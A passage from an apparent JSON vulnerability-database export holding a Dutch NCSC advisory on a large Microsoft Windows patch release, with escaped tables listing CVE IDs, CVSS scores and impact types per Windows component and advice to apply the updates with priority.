Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:42.009017Z"}, {"uuid": "e426a30f-689d-4c90-9088-08825790b5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54115", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: 